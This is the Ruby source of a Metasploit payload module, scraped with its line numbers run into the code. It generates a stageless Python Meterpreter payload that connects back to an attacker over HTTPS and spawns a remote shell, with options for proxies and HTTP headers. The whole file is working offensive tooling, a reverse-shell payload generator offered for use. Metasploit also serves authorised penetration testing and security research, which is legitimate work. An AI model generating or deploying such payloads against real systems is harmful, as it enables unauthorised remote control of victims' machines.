Path: blob/master/modules/payloads/singles/python/meterpreter_reverse_https.rb
21540 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::Single9include Msf::Payload::Python10include Msf::Payload::Python::ReverseHttp11include Msf::Payload::Python::MeterpreterLoader1213def initialize(info = {})14super(15merge_info(16info,17'Name' => 'Python Meterpreter Shell, Reverse HTTPS Inline',18'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',19'Author' => 'Spencer McIntyre',20'License' => MSF_LICENSE,21'Platform' => 'python',22'Arch' => ARCH_PYTHON,23'Handler' => Msf::Handler::ReverseHttps,24'Session' => Msf::Sessions::Meterpreter_Python_Python25)26)2728register_advanced_options(29Msf::Opt.http_header_options +30Msf::Opt.http_proxy_options31)32end3334def generate_reverse_http(opts = {})35opts[:scheme] = 'https'36opts[:uri_uuid_mode] = :init_connect37met = stage_meterpreter({38url: generate_callback_url(opts),39http_user_agent: opts[:user_agent],40http_proxy_host: opts[:proxy_host],41http_proxy_port: opts[:proxy_port],42stageless: true43})4445py_create_exec_stub(met)46end47end484950